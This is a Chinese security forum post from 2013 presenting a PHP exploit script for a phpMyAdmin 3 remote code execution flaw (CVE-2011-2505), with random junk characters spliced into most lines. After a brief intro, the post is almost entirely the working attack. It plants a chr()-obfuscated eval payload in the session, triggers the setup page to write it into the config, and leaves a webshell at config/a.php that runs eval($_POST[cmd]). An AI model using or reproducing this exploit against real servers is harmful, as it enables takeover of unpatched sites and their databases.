找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
$ {0 `4 u& E& b, k2 m- m6 v( c% Y: r* t/ ^8 b( x/ ]2 K
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。! ?  l+ g' e4 e3 c- d$ j# Q

2 a, k, I) \7 A- o首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:+ o* q' e. L" e! f: u: J; a
一是session.auto_start = 1;3 C2 O  ?6 Y- P! j9 k$ Z5 e
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
6 b) t1 c+ g7 u5 q$ R* {" Q当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
# ?. T5 d+ x8 b1 r5 Q! S6 N! D& {9 x- T$ s7 n
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
  B! ^# X& _" v' i+ n' g3 k% r9 a7 j
3 l* x: V/ K8 v2 J+ u于是写了这个php版本的exp,代码如下:+ c9 m1 o3 m1 C4 k/ m
# d) D' I$ f' G. s8 R) l
#!/usr/bin/php
! K# F( ~. o: s; t7 ~) P<?php; \8 S* o0 Y2 M) F! w, v
print_r('* a/ o9 m/ v/ V1 i1 `5 I
+---------------------------------------------------------------------------+
% e( [' e% y/ ]3 z1 upma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]8 u0 y( u$ d5 i3 o% {
by oldjun(www.oldjun.com)
4 \3 G* ~' k# X: Twelcome to www.t00ls.net
( r% s' n. x5 v$ x  ]  [mail: oldjun@gmail.com
8 H/ N9 h5 H4 X# F2 pAssigned CVE id: CVE-2011-2505) C/ U2 ~% x: a. e; n3 E* F
+---------------------------------------------------------------------------+
0 V+ r+ X* v6 [) Y  P');
0 V. s; l& o8 A8 f! e
. y2 W: Z- k5 G* e" g3 T4 ^/**
& O; a+ i% \. H0 j/ @ * working when the directory:"config" exists and is writeable.
$ ?6 y, w3 o( L. a& ?0 ?**/
! ?( Z) ?( Y9 B9 H. B' T + d3 _+ c  t& k
if ($argc < 3) {3 o% h) o# `5 O, q, I6 b( q2 {" }' s
    print_r('
% ]. {: }  f, J! L2 ^& ?' {+---------------------------------------------------------------------------+
) y* g: I. M, Z0 R- S4 aUsage: php '.$argv[0].' host path
- b# [2 e& z! Ghost:      target server (ip/hostname)6 i' o6 {+ @9 _7 S  q$ L
path:      path to pma3+ I9 Y$ d9 O0 C( p' v
Example:# y4 t- O9 ~5 f# ~
php '.$argv[0].' localhost /pma/3 F! f7 `) J7 J5 }
+---------------------------------------------------------------------------+; t5 f% _* O" A' m
');: u* {, A! e1 a
    exit;
1 ]- ?( x( {! D% A# n, I}4 E7 e' W4 x1 X* V& s8 w; X' c& N* E
( H4 n) O: h8 z& ]
$host = $argv[1];
* \8 h' y" q6 {: s: e& a# L$path = $argv[2];
) S) i* ]: h2 @- x; ~9 p: B2 ?$ Q# O8 q0 X: m1 A5 a
/**
/ M) U9 s, @0 H+ `& T  F * Try to determine if the directory:"config" exists
9 A9 ^0 L2 s% i+ W. B& x**/! q1 }$ v! f0 L4 T2 q: }% S
echo "[+] Try to determine if the directory:config exists....\n";# N0 {( D! b$ i/ s! I8 ^3 X
$returnstr=php_request('config/');
. e1 w, W; \. ?3 Sif(strpos($returnstr,'404')){
: B/ C* v) i) O    exit("[-] Exploit Failed! The directory:config do not exists!\n");: b( e  y9 ?/ t0 U
}- h  K8 E+ q  M' D/ S4 H: Z8 Q/ t

+ \7 U5 d4 J0 R- F% Z. I/**& h* {. g6 U/ R1 g
* Try to get token and sessionid! u" D& H5 Z. O+ ~* x$ @# O
**/
( q: [0 Q8 A7 e& X: n6 Recho "[+] Try to get token and sessionid....\n";, v5 I2 N' b( @* y& R5 A
$result=php_request('index.php');
0 L1 F9 ~7 ]* rpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);) r: b1 ?0 a% j; E6 `2 Q& ^' f
$token=$resp[3];
+ ~1 y8 V8 b3 ?9 @, }$sessionid=$resp[1];
& T! P6 i. F+ r; Cif($token && $sessionid){) Y. \2 I/ }$ m- ~( Q% x. w
    echo "[+] tokentoken\n";% o, s9 q$ B1 B" M8 k; g  m3 j
    echo "[+] Session IDsessionid\n";
; K! L, |( C. j" F/ \}else{
4 j- m8 ^* M7 T4 _) D    exit("[-] Can't get token and Session ID,Exploit Failed!\n");" H# s" F0 z3 J; H8 _7 ?
}8 L8 x; g1 \1 F7 h5 K1 D

2 B9 Y( ?, c% g& z& a6 r6 Y! h& B/**
6 w6 m5 k9 G9 d. o" ~ * Try to insert shell into session8 y3 D% C+ S+ r3 N
**/
- }. }' V: a( {+ N# decho "[+] Try to insert shell into session....\n";
6 _2 \% J3 r& C  @8 h: Nphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.- H* }! F+ Z- h; I$ F
. F8 k1 t6 s6 P( {
/**
* Z9 ^% ^  U1 G  o: ? * Try to create webshell" Z  l4 B) w; B) N8 L& U
**/
- g1 m% E( t  {9 y6 ^* |( pecho "[+] Try to create webshell....\n";
$ U; g  r3 ~) r0 e; bphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
* l1 @1 a8 X" j6 g/**
% b2 Y& d; {( z- T  v% v1 q * Try to check if the webshell was created successfully
, {9 t- }* g3 B' s8 D+ h, o& n**/1 A9 \* m$ o+ o+ t/ D6 h
echo "[+] Try to check if the webshell was created successfully....\n";
4 D% I, H! e3 |1 u: }$content=php_request('config/config.inc.php');
* X# N: M" |2 T8 @: u: ~! H: G: |! lif(strpos($content,'t00ls')){
' `0 Q+ k' Q& X    echo "[+] Congratulations! Expoilt successfully....\n";( K& h3 `+ [; _3 J4 [
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
8 R$ W( D. P& P' c}else{
4 O# ?( w4 n. {$ h- w    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
# B1 P- [7 F& }, X/ r}- b$ [4 `! @0 y, [  ~
* D' x$ b6 n5 M- o& [$ A2 \
function php_request($url,$data='',$cookie=''){
) |" D- G; I0 u; W! K. I    global  $host, $path;) s1 H( @: {! B8 Q
   
6 P# l" ^; M- p  D, {    $method=$data?'POST':'GET';9 V4 x7 G4 ~7 k9 S
   
5 F/ \( i- C+ |8 M- X8 `3 n    $packet = $method." ".$path.$url." HTTP/1.1\r\n";& E3 l/ ]" @* U( x
    $packet .= "Accept: */*\r\n";
! W$ ]7 Y' `* B$ n) y5 F8 t; e) N7 M    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
; ~, x; f3 A& U0 \6 P    $packet .= "Host: $host\r\n";' g" X7 K( Y6 i
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";/ T3 E( b% G$ }! X' B
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";$ x" y2 L+ T* Z4 f# ]8 S0 Y  o1 w
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
) d  V, ]7 m& p- G  L    $packet .= "Connection: Close\r\n\r\n";
- S- \: i9 s) \+ d$ x: _% _    $packet .= $data?$data:"";
/ ?$ E% \2 I- ~  j/ t
+ W, ^' z+ V' t! t3 O& a# z4 _    $fp = fsockopen(gethostbyname($host), 80);7 G  p, I0 X5 ?4 b
    if (!$fp) {7 R; |' ]1 l' E% n' O7 q$ U
    echo 'No response from '.$host; die;
6 x- q" b9 H! @* j7 s: c& Q    }! n6 d) g3 q9 O9 A" s! m2 r3 H
    fputs($fp, $packet);
% {! ^: _/ ?$ Y% ?3 `, \2 t% n1 d; c5 z$ }+ z; R
    $resp = '';& v, a3 L. @; K8 i( s6 h6 G

( [- }9 o  }+ r7 I9 J    while ($fp && !feof($fp))
1 f; N+ Q/ D2 p$ n" n  Y, o        $resp .= fread($fp, 1024);
5 B( g. k* G! J& x4 y6 T1 W$ q8 X
    return $resp;
6 M* P5 E1 s( p2 _}
9 K/ ?2 T  S! R1 T4 j& h   
0 ^+ X$ @3 ~- W+ O?>
. e) I, J: n2 b8 I.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表